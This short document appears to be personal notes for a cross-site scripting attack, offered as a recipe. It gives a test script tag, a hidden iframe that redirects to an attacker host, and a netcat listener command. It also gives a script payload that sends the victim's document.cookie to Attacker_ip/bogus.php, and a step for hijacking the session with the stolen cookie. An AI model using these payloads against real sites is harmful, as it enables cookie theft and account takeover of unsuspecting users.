Web_XSS
- To attack on non-validated user input.
To enter scripts into user inputs
- Local XSS:
<script>Hi</script> - Browser redirection:
<iframe SRC="http://Attacker_IP/report" height = "0" width ="0"></iframe>
To listen to remote connection from browser redirection
- In attacker machine,
nc -nlvp 80
No need to have a bogus.php page
nc -nlvp 80<script>new Image().src="http://Attacker_ip/bogus.php?output="+document.cookie;</script>- Use Cookies Manager+ to open victim website with stolen cookie.
